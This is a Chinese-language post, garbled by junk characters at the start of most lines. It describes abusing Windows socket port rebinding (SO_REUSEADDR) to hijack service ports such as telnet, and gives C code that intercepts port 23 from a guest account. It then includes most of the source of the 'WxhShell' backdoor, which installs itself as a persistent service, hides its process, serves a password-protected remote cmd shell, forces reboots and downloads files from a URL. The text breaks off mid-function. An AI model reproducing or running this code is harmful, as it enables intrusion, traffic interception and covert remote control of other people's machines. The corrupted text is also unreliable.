在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Q\v^3u2;m` s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
V}"w8i+D? 8U&93$ saddr.sin_family = AF_INET;
fyt`$y_E[ y <21~g= saddr.sin_addr.s_addr = htonl(INADDR_ANY);
|-k~Fa h7W<$\P bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
-qndBS Dmv@ljwO 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
AVv 8Hhd HTUY|^^D 这意味着什么?意味着可以进行如下的攻击:
g JMv -7l)mk 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Ni 5Su ,;wc$-Z!8 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
;;l-E>X0 *l4`2 eqZ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
e!~x-P5M` -J=N 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
T8rf+B/.L qy|si4IU8, 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
b:}+l;e52 LK[%}2me 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
BPzlt u0& dDZ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
=:-x; R+O[,UM^I~ #include
wsNM'~( #include
,d34v*U #include
.)eX(2j\ #include
PXYo@^ 3 DWORD WINAPI ClientThread(LPVOID lpParam);
>Kc>=^=5 int main()
B}y-zj;T {
x GHS WORD wVersionRequested;
77ID
82 DWORD ret;
jFBnP,WQ WSADATA wsaData;
4^O'K;$leD BOOL val;
z2lEHa?w SOCKADDR_IN saddr;
u*$ 1e SOCKADDR_IN scaddr;
<ZM8*bqi int err;
-]h3s
>t SOCKET s;
a~F`{(Q2 SOCKET sc;
A[6$'IJ int caddsize;
wz P")}[0 HANDLE mt;
?g$dz?^CK& DWORD tid;
{s=$.Kg
wVersionRequested = MAKEWORD( 2, 2 );
"3i=kvdz err = WSAStartup( wVersionRequested, &wsaData );
ei8OLcw:x if ( err != 0 ) {
qeyBZ8BG printf("error!WSAStartup failed!\n");
#'-L`])7uw return -1;
>aZ$x/U+Iw }
YrR}55V, saddr.sin_family = AF_INET;
Y`u.P(7# >#RXYDd //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
C9q`x2 :hp=>^$Y saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
F:CqB| saddr.sin_port = htons(23);
TY=BP!s if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
zA![c l>$ {
`q
4% printf("error!socket failed!\n");
ba 3_55] return -1;
b7/1] }
U&6!2s- val = TRUE;
vTD`Ja#h //SO_REUSEADDR选项就是可以实现端口重绑定的
^AUmIyf_ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
SZCFdb {
{}ZQK printf("error!setsockopt failed!\n");
CW Y'q return -1;
XY5I5H_U }
]y,6 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
D'>yu" //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
!m$OI:rr //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
t`DoTb4 7:1c5F~M if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
6|05-x| {
J*8fGR% ret=GetLastError();
w $7*za2 printf("error!bind failed!\n");
?Ee HeN_ return -1;
ejwFQ'wTx }
UKx91a}g listen(s,2);
h]<Ld9 while(1)
6ZVJ2xs[% {
YSt' ] caddsize = sizeof(scaddr);
iuq-M?1 //接受连接请求
}@V(y9K sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
er}/~@JJ if(sc!=INVALID_SOCKET)
7 [55 {
u|\Lb2Kb: mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
_EOQ*K#=Ct if(mt==NULL)
abtAkf {
38%]GQ printf("Thread Creat Failed!\n");
`,&h!h(( break;
VuFH
>8n }
U]fE(mpI9 }
iwL\H a CloseHandle(mt);
jGEUl=W
}
l?B\TA^ closesocket(s);
V2%FWo| WSACleanup();
g^1M]1.f return 0;
q[l},nw }
k:<yy^g$X DWORD WINAPI ClientThread(LPVOID lpParam)
TC3xrE:U<m {
(hVhzw"~ SOCKET ss = (SOCKET)lpParam;
6d,jR[JP SOCKET sc;
&-9wUZ unsigned char buf[4096];
C]-Z+9Vvv SOCKADDR_IN saddr;
y`=A$>A long num;
D2~e@J(K DWORD val;
ycRy!0l DWORD ret;
[X=-x=S, //如果是隐藏端口应用的话,可以在此处加一些判断
<O>r e3s //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
)=;0 saddr.sin_family = AF_INET;
A5+vz u^ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
^!1mChf saddr.sin_port = htons(23);
J
\1&3r|R if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
xe2Ap[Y'M {
29pIO]8; printf("error!socket failed!\n");
J(h=@cw return -1;
IC/'<%k }
$TL~SVHj;{ val = 100;
Sq}hx if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
mKPyM<Q {
(J][(=s;a ret = GetLastError();
1/3Go97/qV return -1;
m
,)4k&d }
H6x~mZu_:T if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
WsQo+Ua {
`pE~M05 ret = GetLastError();
W{At3Bfy return -1;
1-1x,U7w }
P6zy<w if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
pA+W
8v#* {
E:f0NV3"1 printf("error!socket connect failed!\n");
.-' closesocket(sc);
Xp{+){Iu closesocket(ss);
UBrYN'QRNt return -1;
B[!wo }
*]p]mzc while(1)
qXkc~{W_ {
{ o=4(RC //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
vL`wn= //如果是嗅探内容的话,可以再此处进行内容分析和记录
lKrD.iYt8 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
N't*e Ci num = recv(ss,buf,4096,0);
amK?LDf] if(num>0)
+eZR._&0 send(sc,buf,num,0);
bPAp0}{Fu else if(num==0)
ddmTMfH break;
,o]"G[Jk num = recv(sc,buf,4096,0);
[7ZFxr\:! if(num>0)
4WG~7eIgy send(ss,buf,num,0);
Rgw\qOb else if(num==0)
YW}q@AY7 break;
wLPL9 }
h-=3b closesocket(ss);
G \?fWqx closesocket(sc);
@mW: FVI return 0 ;
0"(5\T }
t;TMD\BU {v}f/cu u{,e8. Z ==========================================================
AdesR-e$R %'nM!7w@I 下边附上一个代码,,WXhSHELL
WLQm|C, + O=wKsGD ==========================================================
fmXA;^% E'?yI'~= #include "stdafx.h"
]vMr@JM-G _{)e\n #include <stdio.h>
t>. mB@se| #include <string.h>
~&4Hc%*IB #include <windows.h>
8C#R #include <winsock2.h>
~C6d5\ #include <winsvc.h>
4P(Y34j #include <urlmon.h>
v}!eJzeH &*B=5W;6^u #pragma comment (lib, "Ws2_32.lib")
\Y_2Z/ #pragma comment (lib, "urlmon.lib")
1@6dHFA`o ;t{Ew+s #define MAX_USER 100 // 最大客户端连接数
V.vA~a #define BUF_SOCK 200 // sock buffer
Mdsn"Y V #define KEY_BUFF 255 // 输入 buffer
~0,Utqy t8DySFT #define REBOOT 0 // 重启
iY1%"x #define SHUTDOWN 1 // 关机
IqJ7'X U8KB@E #define DEF_PORT 5000 // 监听端口
ce{(5IC ml <X92Y #define REG_LEN 16 // 注册表键长度
T3,"g= #define SVC_LEN 80 // NT服务名长度
?F1NZA[%t Xp@8vu // 从dll定义API
I
*YO typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
fhw.A5Ck typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
"Kx2k>ym typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
{L5!_]6 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
(xf_ r63_|~JVB< // wxhshell配置信息
DvCs 5 struct WSCFG {
G=W!$(: int ws_port; // 监听端口
6:O3>'n char ws_passstr[REG_LEN]; // 口令
ifTMoC% int ws_autoins; // 安装标记, 1=yes 0=no
dqMt6b\} char ws_regname[REG_LEN]; // 注册表键名
+e?mKLw14 char ws_svcname[REG_LEN]; // 服务名
y|f`sBMM char ws_svcdisp[SVC_LEN]; // 服务显示名
8d|omqe~P char ws_svcdesc[SVC_LEN]; // 服务描述信息
qq"&Bc> char ws_passmsg[SVC_LEN]; // 密码输入提示信息
_xT=AF9~o int ws_downexe; // 下载执行标记, 1=yes 0=no
xdb9oH char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
7\m.xWX e char ws_filenam[SVC_LEN]; // 下载后保存的文件名
<7N8L 4A^=4"BCV };
M>W-lp^3 .|[ZEXq // default Wxhshell configuration
fmyyQ|]O" struct WSCFG wscfg={DEF_PORT,
eSo/1D "xuhuanlingzhe",
#va|&QBZxM 1,
Rp$t;=SMD "Wxhshell",
/nEt%YYh;x "Wxhshell",
P=PcO> "WxhShell Service",
|g<1n "Wrsky Windows CmdShell Service",
^HYmi\` "Please Input Your Password: ",
- 6a4H?L 1,
D-\WS^# "
http://www.wrsky.com/wxhshell.exe",
GWo^hIfJ "Wxhshell.exe"
sk !92mQ };
m8'B7|s 4Kjrk7GAx // 消息定义模块
i(P/=B
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
PkA_uDhw char *msg_ws_prompt="\n\r? for help\n\r#>";
?&$??r^i char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
$ZX^JWq char *msg_ws_ext="\n\rExit.";
!R*%F char *msg_ws_end="\n\rQuit.";
, ,1H#;j char *msg_ws_boot="\n\rReboot...";
vJ5` :4n" char *msg_ws_poff="\n\rShutdown...";
dYEF,\Z' char *msg_ws_down="\n\rSave to ";
W/_=S+CvK 4/YEkD char *msg_ws_err="\n\rErr!";
/N6sH!w char *msg_ws_ok="\n\rOK!";
b<,Z^Z_ mUW|4zl i} char ExeFile[MAX_PATH];
n5CjwLgu\b int nUser = 0;
YT7,=k _ HANDLE handles[MAX_USER];
bB^% O^: int OsIsNt;
sute%6yM @y:mj \J9 SERVICE_STATUS serviceStatus;
'@enl]J SERVICE_STATUS_HANDLE hServiceStatusHandle;
'5xf?0@s. 6J. [9# // 函数声明
`H+~LVH int Install(void);
XVwaX2=L int Uninstall(void);
Z-(#}(HD int DownloadFile(char *sURL, SOCKET wsh);
rN6@=uB int Boot(int flag);
}p-<+sFo void HideProc(void);
;\(Wz5Ok&J int GetOsVer(void);
\2cbZQx int Wxhshell(SOCKET wsl);
?DPNa void TalkWithClient(void *cs);
n{vp& int CmdShell(SOCKET sock);
|lH~nU.* int StartFromService(void);
weQC9e~d{- int StartWxhshell(LPSTR lpCmdLine);
+zodkB~) lK;/97Ze VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
c%1<O!c VOID WINAPI NTServiceHandler( DWORD fdwControl );
dhl[JC~ _ ;)Rvk&J5 // 数据结构和表定义
tBEZ4 W>67 SERVICE_TABLE_ENTRY DispatchTable[] =
Oi{X \Y {
5G.A\`u% {wscfg.ws_svcname, NTServiceMain},
2`4'Y.Qf {NULL, NULL}
5`m RrEA };
~d oOt ;{b 1' // 自我安装
'Y23U7 n0B int Install(void)
I"awvUP]a[ {
O+Z[bis` char svExeFile[MAX_PATH];
bni :B?# HKEY key;
9G(.=aOj, strcpy(svExeFile,ExeFile);
v5"5UPi- sW%U3,j // 如果是win9x系统,修改注册表设为自启动
;u;Y fOr if(!OsIsNt) {
?>47!):-* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
J;+AG^U< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
G'c!82;,? RegCloseKey(key);
nA8]/r1k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
h>B>t/k? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
=IBdnEz:M RegCloseKey(key);
yC.ve;lG return 0;
>@^z?nb }
iN%\wkx*N }
z,XM|-"#<K }
e9r#r~Qq| else {
':yE5j xQs2) // 如果是NT以上系统,安装为系统服务
fd >t9. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
WE$Pi;q1 if (schSCManager!=0)
"Yw-1h`fR {
s+?r4t3H! SC_HANDLE schService = CreateService
r.M8#YL (
<rc3&qmd schSCManager,
qe!`LeT# wscfg.ws_svcname,
_$/(l4\T[ wscfg.ws_svcdisp,
C`OdMM>D SERVICE_ALL_ACCESS,
MNip;S_j SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
ji{V# SERVICE_AUTO_START,
KfJF9!U*? SERVICE_ERROR_NORMAL,
Eugt~j3 svExeFile,
,vP9oY[n NULL,
*%5#\ I NULL,
?bbu^;2*f NULL,
"PGEiLY NULL,
cT^,[3i:c NULL
]t_AXKd );
J'tc5Ip!}V if (schService!=0)
Q%~b(4E^7P {
R7cY$K{j CloseServiceHandle(schService);
[>#?C*s CloseServiceHandle(schSCManager);
pc}Q_~e strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
QFIdp R. strcat(svExeFile,wscfg.ws_svcname);
)ARfI)<1b if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
y]eH@:MJ;A RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
kV"';a RegCloseKey(key);
msg&~"Z return 0;
AR'q2/cw }
7)G- EAF }
\Oh9)X:I CloseServiceHandle(schSCManager);
pgT{#[=> }
%YefTk8cr, }
=3lUr<Ze rFZB6A<(] return 1;
[>&Nhn0iY }
f33'2PYl DIodQkF // 自我卸载
h";G vjy int Uninstall(void)
0iqa]Am {
P"W$ZX HKEY key;
"?lirOD
OM{-^ if(!OsIsNt) {
K^?yD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
<I'kJ{" RegDeleteValue(key,wscfg.ws_regname);
sxJKu RegCloseKey(key);
z.oDH<1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
CF>k_\/Bj RegDeleteValue(key,wscfg.ws_regname);
(:].?o RegCloseKey(key);
5 +:b#B return 0;
~|@ aV:k }
gE(QVbh( }
9+h9]T:9 }
zTrAk5E else {
@^}
%
o-: qdm5dQ (c SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
T^S|u8f if (schSCManager!=0)
EnA) Rz {
8dq{.B? SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
fG;)wQJ if (schService!=0)
V=k!&xN~ {
CjORL'3 if(DeleteService(schService)!=0) {
3SVI|A5(d CloseServiceHandle(schService);
]ms#*IZ CloseServiceHandle(schSCManager);
hE-`N,i} return 0;
zC!]bWsD }
##BMh! CloseServiceHandle(schService);
"2+>!G RQ }
FyJI@PZdI- CloseServiceHandle(schSCManager);
Bo.x }
(\.[pj%-O }
D}px=? +|r;t return 1;
s
,\w00-: }
IK(G%dDw ,ZV<o!\ // 从指定url下载文件
gWqmK/.U.0 int DownloadFile(char *sURL, SOCKET wsh)
KMhoG.$Ra {
5|x&Z/hL HRESULT hr;
"v/^nH char seps[]= "/";
f[.RAHjk char *token;
-]~U_J] char *file;
kI]i,v#F char myURL[MAX_PATH];
wd~e3%JM char myFILE[MAX_PATH];
8|{:N>7 wJ1qJ!s@ strcpy(myURL,sURL);
jWiZ!dtUZ token=strtok(myURL,seps);
!;pmql while(token!=NULL)
N'Ywn}!js {
FT/H~|Z> file=token;
dP
T)& token=strtok(NULL,seps);
-WE pBt7* }
)"|'= 3ypB~bNw GetCurrentDirectory(MAX_PATH,myFILE);
P9:7_Vc strcat(myFILE, "\\");
dwv xV$Nt strcat(myFILE, file);
6=Kl[U0Y send(wsh,myFILE,strlen(myFILE),0);
e%`gD*8 send(wsh,"...",3,0);
kR7IZo"q hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Xp1xhb*^ if(hr==S_OK)
j7<`^OG return 0;
}h5pM`|1 else
k`Ab*M$@Xs return 1;
JMuUj_^}7 A;1<P5lo }
0?BT* 8II-'%S6q // 系统电源模块
$n(?oyf int Boot(int flag)
z(g4D! {
Z$X2*k6PK HANDLE hToken;
}<uD[[FLB TOKEN_PRIVILEGES tkp;
LDBxw D*Siy; if(OsIsNt) {
,@R~y OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
,COSpq]6 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
L7G':oA_`p tkp.PrivilegeCount = 1;
Itr yiU9 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
<4^ _dJ9= AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
#?}k0Y if(flag==REBOOT) {
@bmu4!"d if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Pw1V1v&>q return 0;
Os*,@N3t }
Mto3Ryic! else {
MM|&B`v@; if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
bICi'` return 0;
tB &D~M6[ }
p
W:[Q\rSj }
$bF.6 else {
r|fJ~0z if(flag==REBOOT) {
R5X<8(4p if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
!a[
voUS return 0;
{}D8Y_=9\ }
I/|)? else {
Up`$U~%- if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
LZ|G" 5X[ return 0;
M< *5Y43 }
)U>q>< }
&~6Z)} .P# c/SQp return 1;
6G/)q8'G }
5f=e
JDo=x _Jj|g9b // win9x进程隐藏模块
-F4CHpua void HideProc(void)
`;(/Wh {
Cl\Vk []1VD# HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
\'GX^0yK if ( hKernel != NULL )
hnvn&{| {
{p9y{$ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
A>%fE 6FY ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
_Eq:Qbw# FreeLibrary(hKernel);
*Y9"-C+ }
hK@1
s F{[2|u(4 return;
XsQ<yeun }
'@AK0No\W 9gn_\!Mp // 获取操作系统版本
_t:rWC"X int GetOsVer(void)
_:c8YJEG{ {
s)375jCga OSVERSIONINFO winfo;
6.EfM^[ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
[uc;M6o}? GetVersionEx(&winfo);
.m;1V6 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Z A1?' return 1;
{Ylj] else
nvu|V3B0 return 0;
q}ZZqYk }
!g=,O6 k#JFDw\ // 客户端句柄模块
@2CYv> int Wxhshell(SOCKET wsl)
7T_g?!sdMh {
?
4qN>uW= SOCKET wsh;
qoB struct sockaddr_in client;
#ZCgpg$wM DWORD myID;
}UXj|SY ,{%/$7) while(nUser<MAX_USER)
KT{<iz_ {
E0ud<'3< int nSize=sizeof(client);
>]T(}S~ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
WE|L{ if(wsh==INVALID_SOCKET) return 1;
.DHZs#R GQ2&D}zh handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
g}ciG!0 if(handles[nUser]==0)
Hi,_qlc+ closesocket(wsh);
K?-K<3]9f else
m?;)C~[ nUser++;
`r_qvrC }
"! p#8jR^ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
mgG0uV %dw-}1X return 0;
F8_pwJUpf- }
6}C4 SZ n_$lRX5 // 关闭 socket
t
Z\ void CloseIt(SOCKET wsh)
,EcmMI^A {
w,eYrxR|N closesocket(wsh);
o[+1O nUser--;
C.8]~MP ExitThread(0);
(G#)[0<fX }
wA.YEI|CSj HY5g>wv@ // 客户端请求句柄
[NeOd77y void TalkWithClient(void *cs)
fhMtnh: {
=<`9T_S 16 zoC/Hm SOCKET wsh=(SOCKET)cs;
k W/3
Aq7r char pwd[SVC_LEN];
U
g]6i+rp char cmd[KEY_BUFF];
pA(@gisg char chr[1];
N(t1?R/e, int i,j;
m[ay LNXhzW while (nUser < MAX_USER) {
ReZ|q5* e{To&gy~ if(wscfg.ws_passstr) {
Z7k {7 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
rm2{PV<+d //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
GG(rp]rgl //ZeroMemory(pwd,KEY_BUFF);
1@CI7j i=0;
uO,90g[C/R while(i<SVC_LEN) {
^YenS6`F Iimz // 设置超时
o2a`4K fd_set FdRead;
6dC!&leNi struct timeval TimeOut;
9WtTUk FD_ZERO(&FdRead);
!?O:%QG FD_SET(wsh,&FdRead);
"LP4)hr_` TimeOut.tv_sec=8;
RUX!(Xw TimeOut.tv_usec=0;
`5[VO int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
>9<h?F%S if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Lkqu"V dlJkxEh2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
EvTdwX.H pwd
=chr[0]; 1swh7
if(chr[0]==0xd || chr[0]==0xa) { e)!X9><J
pwd=0; p7zHP
break; ;Jv)J3y
} ;&Eu<%y
i++; _V-@95fK
} !*C^gIQGU
?P{C=Td2z
// 如果是非法用户,关闭 socket "o;l8$)VL
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I*6L`#j[
} h-lMrI)U?h
.Zf#L'Rf
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <adu^5BI
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9XobTi3+'
gq Z7Pro.
while(1) { =*8"ci$
MSRIG-
ZeroMemory(cmd,KEY_BUFF); }! zjj\g^
ou,W|<%
// 自动支持客户端 telnet标准 LEyn1d
j=0; :T%,.sH
while(j<KEY_BUFF) { V%Y.N4H
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Yk?uxZ4)H
cmd[j]=chr[0]; ;u}MG3Y8
if(chr[0]==0xa || chr[0]==0xd) { mUcHsCszH
cmd[j]=0; 3Y=T8Gi#
break; 47$JN}qI0
} O!Mm~@MoA
j++; mc!3FJ
} Qs,LK(1
G1P m!CM=
// 下载文件 6
#QS5
if(strstr(cmd,"http://")) { lhxhAe
send(wsh,msg_ws_down,strlen(msg_ws_down),0); J@R+t6$3O
if(DownloadFile(cmd,wsh)) $jw!DrE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bBDgyFSI<
else aV>w($tdd
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D|+H!f{k
} 6.By)L
else { gbI0?G6XN/
?j $z[_K
switch(cmd[0]) { ]jy6C'Mp
]cA){^.Jz
// 帮助 !UgJ^v
case '?': { ETtK%%F0
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;APg!5X
break; g0iV#i
} [F6=JZ
// 安装 p?dMa_g
case 'i': { vKI,|UD&-
if(Install()) a Y{E'K=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .JH3,L"S^
else t(ZiQ<A
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D6v0n6w
break; n#x{~oQc
} ,ciNoP*-~%
// 卸载 38 B\ \
case 'r': { WQ6E8t)
if(Uninstall()) N"2@yaN
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fl|u0SY
else `@`Q"J
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3K54:
break; h~F uuL
} BD9` +9
// 显示 wxhshell 所在路径 x.45!8Zb
case 'p': { OP<@Xz
char svExeFile[MAX_PATH]; Q_@
Z.{
strcpy(svExeFile,"\n\r"); /#Ew{RvW'
strcat(svExeFile,ExeFile); B4J^ rzK
send(wsh,svExeFile,strlen(svExeFile),0); Ebp8})P/~
break; i5-V$ Qh
} |e+I5
// 重启 ;2bG-v'4vO
case 'b': { <Q szmE
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3`="4
if(Boot(REBOOT)) FUHa"$Bg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %P yU3
else { i?mDR$X:
closesocket(wsh); b7"pm)6
ExitThread(0); tCA |sN
} s7&%_!4
break; (o e;pa
} 85nUR[)h
// 关机 ?VReKv1\
case 'd': { @.MM-
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); WL$WWA08_
if(Boot(SHUTDOWN)) (VC_vz-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >~XX'}
else { )zr/9aV
closesocket(wsh); U,g!KN3P
ExitThread(0); W.H_G.C%
} EmY8AN(*
break; "I_3!Yu
} x}F.<`
// 获取shell !Ng^k>*h
case 's': { 9}3W0F;
CmdShell(wsh); @NX^__sa
closesocket(wsh);
rro,AS}
ExitThread(0); J!S3pS5j
break; \'1%"JWK
} (<1DPpy95O
// 退出 r+
vtKb
case 'x': { }V9146
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U>X06T
CloseIt(wsh); ZwG+ rTW
break; IK}T.*[
} p>R F4
// 离开 g]jtVQH']
case 'q': { R?X9U.AcW
send(wsh,msg_ws_end,strlen(msg_ws_end),0); MRmz/ZmRM
closesocket(wsh); l;?.YtMg
WSACleanup(); I]
exit(1); tD>m%1'&
break; i|=}zR
} a^sR?.+3
} ]kc_wFT<
} uw]e$,x?
-3KB:K<
// 提示信息 {d )Et;_
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Yh"Z@D[d
} >A1Yn]k
} g"zk14'
eKu&_q
return; 2RM1-j
($
} -'YX2!IU,
rJNf&x%6
// shell模块句柄 Q/0}AQO
int CmdShell(SOCKET sock) JgK?j&!hs:
{ SSI&WZ2a
STARTUPINFO si; 0<>iMr D
ZeroMemory(&si,sizeof(si)); [
BN2c
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R>Zn$%j\
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i%\nJs*
PROCESS_INFORMATION ProcessInfo; 6^
KDc
char cmdline[]="cmd"; SX
FF
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); W>@+H"pZ
return 0; 8zpK;+
} gW*ee
U&B~GJT+
// 自身启动模式 J(l6(+8
int StartFromService(void) *X<De
{ ,e>ugI_;*
typedef struct {fX4
{ AJmS1 B
DWORD ExitStatus; IA+>dr
DWORD PebBaseAddress; [KjQW/sb'
DWORD AffinityMask; _IY)<'d
DWORD BasePriority; |E?%Cj^W
ULONG UniqueProcessId; 525xm"Bs
